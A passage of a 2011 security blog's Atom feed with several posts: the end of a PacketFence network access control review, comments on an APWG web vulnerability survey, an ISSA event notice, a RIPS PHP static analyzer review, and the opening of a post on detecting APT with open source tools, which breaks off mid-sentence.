/&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-NOnbNH0ddbs/Tjmw3qbX_KI/AAAAAAAAAfc/F2rwZ64OvAE/s1600/PacketFenceUnreg.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 162px;" src="http://1.bp.blogspot.com/-NOnbNH0ddbs/Tjmw3qbX_KI/AAAAAAAAAfc/F2rwZ64OvAE/s400/PacketFenceUnreg.png" alt="" id="BLOGGER_PHOTO_ID_5636730878959287458" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 1 - PacketFence Nodes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;PacketFence includes a database of known fingerprints and user-agents for ready system identification, and will flag unknowns as seen in &lt;span style="font-family:courier new;"&gt;Status --&amp;gt; Reports&lt;/span&gt;. PacketFence ironically flagged my Barnes &amp;amp; Noble Nook as seen in &lt;span style="font-weight:bold;"&gt;Figure 2&lt;/span&gt;, most likely because I blew the proprietary B &amp;amp; N OS away and loaded it with CyanogenMod 7.1.0 RC1 (Android 2.3.4), which rocks, by the way.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-0aYBRYBtBG0/TjmxnGRBrNI/AAAAAAAAAfk/LZ_RTIfEYlA/s1600/hackedNook.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 77px;" src="http://1.bp.blogspot.com/-0aYBRYBtBG0/TjmxnGRBrNI/AAAAAAAAAfk/LZ_RTIfEYlA/s400/hackedNook.png" alt="" id="BLOGGER_PHOTO_ID_5636731693885926610" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 2 - PacketFence flags hacked Nook fingerprint as unknown&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Out of the gate, PacketFence also detected my normal DHCP service and flagged mine as rogue, tagging it as in violation as seen right in the PacketFence Status view depicted in &lt;span style="font-weight:bold;"&gt;Figure 3&lt;/span&gt;.&lt;br /&gt;Legitimate DHCP servers can be added to the pf.conf file preventing alarms for these servers.&lt;br /&gt;DHCP is also run in Registration and Isolation VLANs but it’s recommended that users to manage their own DHCP servers for the Normal VLANs.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-c-PGQk1r4ec/Tjmx7VV8U8I/AAAAAAAAAfs/FwJXj9RofUE/s1600/PacketFenceStatus.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 381px;" src="http://1.bp.blogspot.com/-c-PGQk1r4ec/Tjmx7VV8U8I/AAAAAAAAAfs/FwJXj9RofUE/s400/PacketFenceStatus.png" alt="" id="BLOGGER_PHOTO_ID_5636732041530463170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 3 - PacketFence Status&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As a security wonk my favorite PacketFence features are, of course, security-related:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Detection of abnormal network activity (Snort) where PacketFence defines alerting and suppression coupled with administratively configurable actions &lt;/li&gt;&lt;li&gt;Proactive vulnerability scans (Nessus) conducted during registration, as scheduled, or on an adhoc basis&lt;/li&gt;&lt;li&gt;Isolation for hosts in violation and remediation through a captive portal including logic that distributed the appropriate counsel for violators including &lt;span style="font-weight: bold;"&gt;banned devices&lt;/span&gt; (“You have been detected using a device that has been explicitly disallowed by your network administrator.”) and malware (“Your system has been found to be infected with malware. Due to the threat this infection poses for other systems on the network, network connectivity has been disabled until corrective action is taken.”)&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;Unregistered and/or unmitigated hosts remain in splendid isolation, life is good.&lt;br /&gt;Once a host is registered it can be added to a category; I arbitrarily defined Trusted Hosts via &lt;span style="font-family:courier new;"&gt;Nodes --&amp;gt; Categories&lt;/span&gt;.&lt;br /&gt;PacketFence offers extensive reporting with output to CSV and the UI, enhance by extensive filtering.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 4&lt;/span&gt; shows by registered host with details.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-vNKcyYAwvgI/TjmzWMFmSOI/AAAAAAAAAf0/ZVIrMiUs19A/s1600/PacketFenceRegisteredHost.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 45px;" src="http://2.bp.blogspot.com/-vNKcyYAwvgI/TjmzWMFmSOI/AAAAAAAAAf0/ZVIrMiUs19A/s400/PacketFenceRegisteredHost.png" alt="" id="BLOGGER_PHOTO_ID_5636733602414086370" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 4 - Registered Host Report&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As you build out and experiment, be sure to take a close look at &lt;span style="font-family:courier new;"&gt;Configuration&lt;/span&gt; settings. You can define/modify interfaces, networks, switches, and fine tune the language included in messages distributed to violators trapped in the captive portal.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;In Conclusion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;PacketFence is an outstanding offering and my only regret is not being able to commit more time to testing or push its feature set. It left me feeling nostalgic for the days when I was a network systems administrator configuring devices and network security on a regular basis.&lt;br /&gt;Don’t limit your thinking specific to PacketFence; while it’s a great solution for small/medium business, it really can handle the enterprise as well.&lt;br /&gt;Remember the documentation is extensive. Make use of it to get fully wrapped around ALL of PacketFence’s capabilities, then test and deploy.&lt;br /&gt;PacketFence is definitely one of my candidates for Tool of the Year.&lt;br /&gt;Ping me via email if you have questions (russ at holisticinfosec dot org).&lt;br /&gt;Cheers…until next month.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Acknowledgements&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Olivier Bilodeau, Inverse System Architect, PacketFence project lead&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-6479646584193251381?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/6479646584193251381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=6479646584193251381' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6479646584193251381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/6479646584193251381'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/08/toolsmith-packetfence-open-source-nac.html' title='toolsmith: PacketFence - Open Source NAC'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-Lj9d9pz7CXY/TjmscEShOHI/AAAAAAAAAfU/M9v8b4zqrv8/s72-c/title.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-3985395391311427681</id><published>2011-07-22T10:13:00.000-07:00</published><updated>2011-07-22T14:51:55.167-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='APWG'/><category scheme='http://www.blogger.com/atom/ns#' term='SDL'/><category scheme='http://www.blogger.com/atom/ns#' term='monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='ModSecurity'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>APWG  Survey and deja vu all over again</title><content type='html'>As a participant in the &lt;a href="http://www.antiphishing.org/ipc.html" target="_blank"&gt;APWG IPC&lt;/a&gt;, and a contributing researcher, I was pleased to see Dave Piscitello's &lt;a href="http://www.antiphishing.org/reports/apwg_web_vulberabilities_survey_june_2011.pdf" target="_blank"&gt;APWG Web Vulnerabilities Survey Results and Analysis&lt;/a&gt; get some &lt;a href="http://www.net-security.org/secworld.php?id=11157" target="_blank"&gt;press&lt;/a&gt; &lt;a href="http://www.theregister.co.uk/2011/06/10/domains_lamped/" target="_blank"&gt;coverage&lt;/a&gt; as it went live in mid-June.&lt;br /&gt;Rather than focus on the survey results (you can read those for yourself), I'd like to focus briefly on mitigation and concerns.&lt;br /&gt;The Results and Analysis-compiled responses &lt;span style="font-style:italic;"&gt;"suggest that web sites would benefit from broader implementation of preventative measures to mitigate known vulnerabilities and also from monitoring for anomalous behavior or suspicious traffic patterns that may indicate previously unseen or zero day attacks."&lt;/span&gt;&lt;br /&gt;Given the broad scope of CMS platforms, forums, galleries, wikis, shopping carts, and others riding on top of the popular LAMP stack, the absence of such preventative measures and monitoring make for hacker nirvana.&lt;br /&gt;Consider the problems shared servers introduce where vulnerabilities in any of the above-mentioned applications preloaded for on demand end-user deployment via cPanel (not to mention cPanel vulnerabilities) can lead to "game over."&lt;br /&gt;Clearly there are challenges: resources, level of commitment to security by site operators, and hosting provider scrutiny to mention a few. &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The problem is not new.&lt;/span&gt;&lt;br /&gt;When pending Black Hat presentations are describing tools sets such as Diggity "that speed the process of finding security vulnerabilities via Google or Bing", or &lt;a href="http://www.darkreading.com/database-security/167901020/security/application-security/231002364/embedded-web-servers-exposing-organizations-to-attack.html" target="_blank"&gt;Embedded Web Servers Exposing Organizations To Attack&lt;/a&gt;, you know it's Groundhog Day. Great tool set (Diggity), but that we're still unfortunately talking about the ease with which hacker groups are finding "opportunities" is troubling to say the least. &lt;br /&gt;When #3 on Kelly Jackson Higgins' list of suggestions to repel attackers states "eliminate SQL injection, XSS, other common website flaws" it's deja vu all over again.&lt;br /&gt;The APWG Web Vulnerabilities Survey asked "What actions did you take to stop the attack?" Compiled answers resulted in data such as:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;We patched or updated vulnerable software packages 21%&lt;br /&gt;We had our developers fix our custom software 8%&lt;/span&gt;&lt;br /&gt;While other results lean heavily towards &lt;a href="https://www.owasp.org/index.php/Top_10_2010-A6" target="_blank"&gt;security misconfiguration&lt;/a&gt; issues, there are still clear opportunities to improve &lt;a href="http://www.microsoft.com/security/sdl/default.aspx" target="_blank"&gt;SDL&lt;/a&gt;/&lt;a href="https://www.owasp.org/index.php/Security_Code_Review_in_the_SDLC" target="_blank"&gt;SDLC&lt;/a&gt; practices.&lt;br /&gt;As the survey report indicates, "This article barely scratches the surface of the intelligence the APWG IPC has accumulated from the Web Vulnerability Survey. A complete analysis of the survey results—with specific recommendations, remedies, and practices."&lt;br /&gt;I'm in the midst of research focusing on the scanning and misconfiguration elements of &lt;a href="http://conferences.sigcomm.org/imc/2010/papers/p62.pdf" target="_blank"&gt;Internet Background Radiation (IBR)&lt;/a&gt; using a variety of Web logs. This research still points back to the above mentioned problem space and suggestions, but will drive deeper into attacker and victim trends and traits. This work, coupled with earlier web application security research will feed the analysis paper pending publication by the APWG IPC.&lt;br /&gt;My hope is to also present the IBR work at an upcoming security conference along with a paper or article.&lt;br /&gt;Stay tuned.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-3985395391311427681?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/3985395391311427681/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=3985395391311427681' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/3985395391311427681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/3985395391311427681'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/06/apwg-survey-and-deja-vu-all-over-again.html' title='APWG  Survey and deja vu all over again'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-1709530252753682357</id><published>2011-07-18T17:00:00.001-07:00</published><updated>2011-07-19T13:48:05.140-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='issa'/><title type='text'>Mark Russinovich presenting at ISSA Puget Sound</title><content type='html'>A quick note to any Seattle-area readers.&lt;br /&gt;&lt;a href="https://issa-ps.org/" target="_blank"&gt;ISSA Puget Sound&lt;/a&gt; is proud to have Mark Russinovich as this month's speaker, presenting &lt;span style="font-weight:bold;"&gt;Zero Day Malware Cleaning with the Sysinternals Tools&lt;/span&gt;, Thursday, July 21st, 6:00 - 8:30 pm, Building E, 5600 148th Ave NE, Redmond, WA 98052 (Microsoft RedWest campus - max capacity (145))&lt;br /&gt;This is an &lt;a href="https://issa-ps.org/index.php?option=com_breezingforms&amp;Itemid=43" target="_blank"&gt;RSVP&lt;/a&gt; only event, please visit the ISSA Puget Sound &lt;a href="https://issa-ps.org/" target="_blank"&gt;website&lt;/a&gt; for all the details.&lt;br /&gt;Mark will be offering both his recent books, &lt;a href="http://www.amazon.com/Zero-Day-Novel-Mark-Russinovich/dp/031261246X/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1311108177&amp;sr=1-1" target="_blank"&gt;Zero Day: A Novel&lt;/a&gt; and &lt;a href="http://www.amazon.com/Windows-Sysinternals-Administrators-Reference-Russinovich/dp/073565672X/ref=sr_1_5?s=books&amp;ie=UTF8&amp;qid=1311108237&amp;sr=1-5" target="_blank"&gt;Windows Sysinternals Administrator's Reference&lt;/a&gt; for sale and will be signing them as well.&lt;br /&gt;If you're in the area, please RSVP and attend this outstanding event and opportunity.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-1709530252753682357?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/1709530252753682357/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=1709530252753682357' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/1709530252753682357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/1709530252753682357'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/07/mark-russinovich-presenting-at-issa.html' title='Mark Russinovich presenting at ISSA Puget Sound'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-4506365932360925275</id><published>2011-07-04T16:57:00.000-07:00</published><updated>2011-07-04T21:01:05.093-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='web application security'/><title type='text'>toolsmith: RIPS - PHP static code analyzer</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-pfGz4NAdByo/ThKGQVZXXBI/AAAAAAAAAes/A3ifMNnHE8A/s1600/title.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 171px; height: 70px;" src="http://1.bp.blogspot.com/-pfGz4NAdByo/ThKGQVZXXBI/AAAAAAAAAes/A3ifMNnHE8A/s320/title.png" alt="" id="BLOGGER_PHOTO_ID_5625706499718732818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In July's &lt;a href="http://holisticinfosec.org/content/view/12/26/" target="_blank"&gt;toolsmith&lt;/a&gt; I admit to the fact that I’ve often focused on run-time web application security assessment tools and paid absolutely no attention to static analysis tools.&lt;br /&gt;For those of you in a similar boat, RIPS is a static source code analyzer for vulnerabilities in PHP. RIPS is written by &lt;a href="http://websec.wordpress.com/2011/06/04/project-rips-status/"&gt;Johannes Dahse&lt;/a&gt; who uses it when he audits PHP code, often during Capture The Flag contests.&lt;br /&gt;To test RIPS in all it's glory, I compared its functionality to known finding from a vulnerability disclosure and advisory I &lt;a href="http://holisticinfosec.org/content/view/103/45/" target="_blank"&gt;posted&lt;/a&gt; for Linpha 1.3.4 in March 2009. Linpha 1.3.4 is a photo/image gallery (no longer supported or maintained) which exhibited cross-site request forgery (CSRF) and cross-site scripting (XSS) vulnerabilities during runtime analysis.&lt;br /&gt;Specifically, input passed via GET to the &lt;span style="font-family:courier new;"&gt;imgid&lt;/span&gt; parameter is not properly sanitized by the &lt;span style="font-family:courier new;"&gt;image_resized_view.php&lt;/span&gt; script before being returned to the user. This vulnerability can be exploited to execute arbitrary HTML and JavaScript code in a user’s browser session in the context of an affected site.&lt;br /&gt;To compare this finding to source code analysis with RIPS, I loaded&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;/var/www/linpha/actions/image_resized_view.php&lt;/span&gt; in the RIPS UI and clicked scan.&lt;br /&gt;The results were immediate and clearly identified in source code the same vulnerability I’d discovered at run-time, as seen in Figure 1.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-1_w8uiemi-g/ThKHiYpqnII/AAAAAAAAAe8/mNeqGLfVn4g/s1600/RIPSscan.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 234px;" src="http://4.bp.blogspot.com/-1_w8uiemi-g/ThKHiYpqnII/AAAAAAAAAe8/mNeqGLfVn4g/s400/RIPSscan.png" alt="" id="BLOGGER_PHOTO_ID_5625707909341682818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Note that RIPS tags the &lt;span style="font-family:courier new;"&gt;imgid&lt;/span&gt; parameter as vulnerable right out of the gate.&lt;br /&gt;RIPS is becoming more and more feature-rich with each new release; while it's a work in progress, it’s already quite effective and Johannes is actively developing it. You'll enjoy code viewing and exploit creation functionality but one of my favorite new features is graphical representations of scanned files and includes with representation of “how files are connected to each other, what files accept sources (userinput) and what files have sensitive sinks or vulnerabilities” as seen in Figure 2.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-RfHoNdb0vzA/ThKJf4lk1SI/AAAAAAAAAfE/X9u0hLV_pJc/s1600/RIPSfiles.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 192px;" src="http://4.bp.blogspot.com/-RfHoNdb0vzA/ThKJf4lk1SI/AAAAAAAAAfE/X9u0hLV_pJc/s400/RIPSfiles.png" alt="" id="BLOGGER_PHOTO_ID_5625710065398109474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Figure 2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Check out the RIPS article &lt;a href="http://holisticinfosec.org/toolsmith/pdf/july2011.pdf" target="_blank"&gt;here&lt;/a&gt;, and download RIPS and &lt;a href="http://twitter.com/#%21/FluxReiners" target="_blank"&gt;Johannes&lt;/a&gt;' white paper &lt;a href="http://sourceforge.net/projects/rips-scanner/files/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-4506365932360925275?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/4506365932360925275/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=4506365932360925275' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4506365932360925275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/4506365932360925275'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/07/toolsmith-rips-php-static-code-analyzer.html' title='toolsmith: RIPS - PHP static code analyzer'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-pfGz4NAdByo/ThKGQVZXXBI/AAAAAAAAAes/A3ifMNnHE8A/s72-c/title.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-1799289005561290361</id><published>2011-06-30T21:29:00.000-07:00</published><updated>2011-06-30T21:56:41.430-07:00</updated><title type='text'>You can't patch stupid...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://files.roxer.com/user/roxer/gallery/images/icons/afterglow/forum-faces-2/Tech-Support-128x128.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 128px; height: 128px;" src="http://files.roxer.com/user/roxer/gallery/images/icons/afterglow/forum-faces-2/Tech-Support-128x128.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The only thing &lt;a href="http://ismycreditcardstolen.com/" target="_blank"&gt;this&lt;/a&gt; incredibly witty site is lacking is a McAfee Secure or &lt;a href="http://www.scanlesspci.com" target="_blank"&gt;Scanless PCI&lt;/a&gt; badge. ;-)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://ismycreditcardstolen.com" target="_blank"&gt;http://ismycreditcardstolen.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Watching mailing lists debate if it's legit or not? Priceless...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-NfqLaKvCr5k/Tg1PbrZNuzI/AAAAAAAAAek/9WOFCHhhttp://www.blogger.com/img/blank.gifYBxo/s1600/DoIt.png" target="_blank"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 156px;" src="http://3.bp.blogspot.com/-NfqLaKvCr5k/Tg1PbrZNuzI/AAAAAAAAAek/9WOFCHhYBxo/s320/DoIt.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5624238846579161906" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In other breaking &lt;a href="http://www.bloomberg.com/news/2011-06-27/human-errors-fuel-hacking-as-test-shows-nothing-prevents-idiocy.html" target="_blank"&gt;news&lt;/a&gt;, “There’s no device known to mankind that will prevent people from being idiots,” said Mark Rasch, director of network security and privacy consulting for Falls Church, Virginia-based Computer Sciences Corp. (CSC).&lt;br /&gt;Woot! To the fuzzy, neural networks behind the keyboards, step back.&lt;br /&gt;&lt;br /&gt;What would life be without &lt;a href="http://blogs.computerworld.com/18494/why_we_love_users_executive_edition" target="_blank"&gt;users&lt;/a&gt;?&lt;br /&gt;&lt;br /&gt;Cheers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/20011960-1799289005561290361?l=holisticinfosec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://holisticinfosec.blogspot.com/feeds/1799289005561290361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=20011960&amp;postID=1799289005561290361' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/1799289005561290361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/20011960/posts/default/1799289005561290361'/><link rel='alternate' type='text/html' href='http://holisticinfosec.blogspot.com/2011/06/you-cant-patch-stupid.html' title='You can&apos;t patch stupid...'/><author><name>Russ McRee</name><uri>http://www.blogger.com/profile/05647342839278416757</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_kVOWaY1TAF0/TL9mMR96jCI/AAAAAAAAAZI/oDq9RgnD7NU/S220/russ3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-NfqLaKvCr5k/Tg1PbrZNuzI/AAAAAAAAAek/9WOFCHhYBxo/s72-c/DoIt.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-20011960.post-7332247412987954093</id><published>2011-06-03T22:47:00.001-07:00</published><updated>2011-06-04T17:14:44.548-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='issa'/><category scheme='http://www.blogger.com/atom/ns#' term='malcode analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='malware analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='APT'/><title type='text'>APT: anti-hype, reality checks, and resources</title><content type='html'>This post is my 200th for HolisticInfoSec, and I mark it with particular consideration for the topic, coupled with profound recognition of the process that lead to this discussion.&lt;br /&gt;As a graduate student enrolled in the &lt;a href="http://www.sans.edu/" target="_blank"&gt;SANS Technology Institute&lt;/a&gt;'s &lt;a href="http://www.sans.edu/academics/curricula/msise" target="_blank"&gt;MSISE&lt;/a&gt; program, I recently completed the &lt;a href="http://www.sans.edu/academics/community-project-requirements"&gt;Joint Written Project&lt;/a&gt; requirement.&lt;br /&gt;My partners and I were assigned the topic &lt;a href="http://www.sans.edu/student-files/projects/JWP-Binde-McRee-OConnor.pdf" target="_blank"&gt;Assessing Outbound Traffic to Uncover Advanced Persistent Threat&lt;/a&gt;.&lt;br /&gt;Of my partners, I hold the highest regard; participating in this project with &lt;a href="http://www.educause.edu/Community/MemDir/Profiles/BethBinde/45796" target="_blank"&gt;Beth Binde&lt;/a&gt; and &lt;a href="http://www.eecs.usma.edu/webs/people/oconnor/" target="_blank"&gt;MAJ TJ O'Connor&lt;/a&gt; was quite simply one of the most rewarding efforts of my professional career. The seamless, efficient, tactful, and cooperative engagement practiced throughout the entire 30-day period allowed for completion of the &lt;a href="http://www.sans.edu/research/student-projects" target="_blank"&gt;assignment&lt;/a&gt; resulted in what we hope readers will consider a truly useful resource in the battle against APT.&lt;br /&gt;&lt;br /&gt;Amongst positions taken for this paper is a simple premise: &lt;span style="font-weight:bold;"&gt;there are tactics that can be applied in the enterprise to detect and defend against APT that do not require expensive, over-hyped, buzzword-laden vendor solutions.&lt;/span&gt;&lt;br /&gt;Think I'm kidding about buzzwords and hype?&lt;br /&gt;Following are real conversations overheard in the aisles at (ironically) the RSA Conference. &lt;br /&gt;1) What is the ROI on your SEM, and will it detect any APTs on my LAN? &lt;br /&gt;2) Does the TCO justify spend for a SaaS/cloud solution; you know, an MSSP? &lt;br /&gt;3) Wait, what about APT in the cloud? If I use a Saas-based SEM to manage events on my cloud-based services, will it still find APTs?&lt;br /&gt;All opportunities for chastisement and disdain aside, commercial solutions clearly are an important part of the puzzle but are far from preemeninent as the only measure of detection and defense.&lt;br /&gt;&lt;br /&gt;Instead, &lt;a href="http://www.sans.edu/student-files/projects/JWP-Binde-McRee-OConnor.pdf" target="_blank"&gt;Assessing Outbound Traffic to Uncover Advanced Persistent Threat&lt;/a&gt;, proposes that:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"Advanced Persistent Threat (APT) exhibits discernible attributes or patterns that can be monitored by readily available, open source tools. Tools such as OSSEC, Snort, Splunk, Sguil, and Squert may allow early detection of APT behavior. The assumption is that attackers are regularly attempting to compromise enterprises, from basic service abuse to concerted, stealthy attempts to exfiltrate critical and high value data. However, it is vital to practice heightened operational awareness around critical data and assets, for example, card holder data, source code, and trade secrets. Segment and wrap critical data within the deeper protection of well monitored infrastructure (defense in depth). Small, incremental efforts, targeted at protecting high value data value (typically through smaller and protected network segments), provide far greater gains than broader, less focused efforts on lower value targets. In a similar vein, layered defensive tactics (multiple layers and means of defense) can prevent security breaches and, in addition, buy an organization time to detect and respond to an attack, reducing the consequences of a breach."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This perspective is shared by Jason Andress, in his &lt;a href="https://www.issa.org/Members/Journal/" target="_blank"&gt;ISSA Journal&lt;/a&gt; cover article, &lt;a href="https://www.issa.org/images/upload/files/Andress-Advanced%20Persistent%20Threat.pdf" target="_blank"&gt;Advanced Persistent Threat Attacker Sophistication Continues to Grow?&lt;/a&gt;&lt;br /&gt;Jason's article fortuitously hit the wire at 